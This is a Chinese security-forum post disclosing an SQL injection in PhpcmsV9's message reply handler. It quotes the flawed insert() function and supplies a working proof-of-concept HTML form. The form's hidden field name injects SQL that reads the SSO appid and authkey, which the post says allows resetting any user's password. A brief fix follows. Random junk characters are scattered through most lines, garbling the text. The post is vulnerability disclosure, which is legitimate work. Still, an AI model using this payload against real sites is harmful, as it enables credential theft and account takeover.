找回密码
 立即注册
查看: 2647|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:- u6 }/ y! c. q. D4 r( P
2 E. [  G5 `. V& z0 x
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。4 \& a4 m& F7 `
- ~: R4 y/ d  ^( u7 R
明天再更新下一个漏洞。, @* W  }- q; d
详细说明:5 a& u% v+ x- ]9 p: n, z4 S$ P% Z
在/phpcms9/phpcms/modules/message/index.php中有代码如下:, w+ N* S* z  I7 T+ \1 M

/ E; x/ G3 v7 q8 P- Q$messageid = $this->message_db->insert($_POST['info'],true);
+ _" y, @5 |$ [+ H8 j  _) o) X* c9 u2 p; ^. W6 r

+ e+ \: N- r- y" c$ ~/ S* pinsert方法是key value的,代码如下:6 ~4 [6 e* M5 I( V: Z3 @
$ ?3 s$ s+ h1 B
public function insert($data, $table, $return_insert_id = false, $replace = false) {, t  O1 S$ K4 ?  W
                if(!is_array( $data ) || $table == '' || count($data) == 0) {7 W7 C2 \) }( p2 D" B9 v
                        return false;: J+ ?3 i3 t% m: u7 {0 P
                }
" r7 \& G" ?9 E5 [+ u  _2 T5 x0 d                ! d2 f/ ?+ O) c
                $fielddata = array_keys($data);
# a' e3 l3 C. \7 _                $valuedata = array_values($data);5 M5 I4 d0 E$ M/ N4 R: g
                array_walk($fielddata, array($this, 'add_special_char'));* G7 c. a, P) U- _
                array_walk($valuedata, array($this, 'escape_string'));/ G' k: M1 F; S% g' w
               
7 [. O1 ^# ~1 K& Z                $field = implode (',', $fielddata);5 Z* _; i  {  g1 f6 f4 f
                $value = implode (',', $valuedata);. u' Z0 B! C& W, S, H% g9 \

, A( n. B* S* I& E                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
7 ^+ Y; ^( |: K% w! N( ?                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# B6 J' i$ H+ q2 G" {  w                $return = $this->execute($sql);
% G2 W! y5 C# }3 O& y5 t9 u                return $return_insert_id ? $this->insert_id() : $return;, ^, U$ n9 F, L
        }
& A0 |9 F; N  m6 p& J: c" l4 c2 ?4 H" A0 Q

1 w% v  P& T: R8 J) |嗯,很遗憾的是7 T2 j/ j# }" u) g" Q

1 O' x& m* {! w( A  Q7 g( [array_walk($fielddata, array($this, 'add_special_char'));
$ R; z9 E( g- t9 l3 {/ r/ i( F+ d. \% E, ?: z) x1 ?
  Z4 A4 o. d6 {
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# l- {% N7 E" `: p" K
# g. B& Q' N  Y1 h
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
0 s. R/ F; g- U, G
0 W; a  C, G0 z% w5 l1 A漏洞证明:- x3 j; \, B8 c; a: _' V8 s' z% k
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 t. _: I$ s7 b( |0 J% @8 o2 q4 v& X, g6 N! q
, n  k" d' ?5 D0 ?
表单如下:用户名什么的得自己改一改。6 R2 V0 K! G" m9 O
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
% ~7 R3 N" F) y<table width="100%" cellspacing="0" class="table_form">
' f& D9 ]1 Y0 Z/ c1 S4 D<tr>" b' |3 N2 E3 w7 {' {
<th>标 题:</th>4 N6 @! R% c; X# W0 {9 J+ S
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>/ L2 j, Q% D, c+ X9 `
</tr> 5 p1 `8 U  q( w& `5 S
<tr>
( W/ Z. k! E7 B# a: o$ v; A: [<th>内 容:</th>: p+ T5 N' m; e
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>- p% J+ Q# \0 E2 v  l9 a
</tr>8 `, y/ A8 x0 W7 w  d' q6 d9 r( `% c
<input type="hidden" name="info[replyid]" value="2" />
2 M) C* i6 X2 i* i% K<input type="hidden" name="info[send_to_id]" value="cc" /> $ g6 ]3 \% I; ^0 P- ^
<input type="hidden" name="info[send_from_id]" value="hh">, M2 _8 F' @+ v; g8 d- b% x' B
<!-- 漏洞的利用重点在这里开始 -->
+ o% a; W& m" O8 C; c" i5 |' R1 a<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , l: ~- n7 m& Z- u, e
<!-- 漏洞的利用重点在这里结束 -->* x# d% m# B# H( p6 x3 ~* y  B
<tr>8 F: j4 B: h! w7 y6 ?# Z; P7 @* B
<th>验证码:</th>4 X$ Q5 \5 e  k) u, ~$ H
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% x3 m! b2 P$ k+ W</tr>4 i! b) W2 ]% O- Q4 f  W& r! X
<tr>
& \" A% f; u! m, U* ]% p: h/ _0 W# E( M<td></td>6 f9 k. `) ^2 [' U2 J* B
<td colspan="2"><label># `) M5 O$ ^! y( }- O+ o, n3 _# i
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>! E+ R, i' ]+ p5 C: K* \
</label></td>
: C9 a% ~0 d) Z3 h* s+ U</tr>2 c0 T5 Q+ ?! b* j- e# w
</table>3 K2 ~: q6 d2 I7 ~5 l9 ?7 z# r3 f
</form>" e0 }: F& U: f: a" h7 m
在add_special_char函数内对key做过滤就可以了。. ?$ Z4 q4 ~) y2 c
3 ^! T8 y6 i! q- g0 Y+ C% t5 T& O8 s

( }4 M; [/ Q& b9 e7 Z8 U9 x8 s0 J( E# J; d, J4 u) w" f" H5 u

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表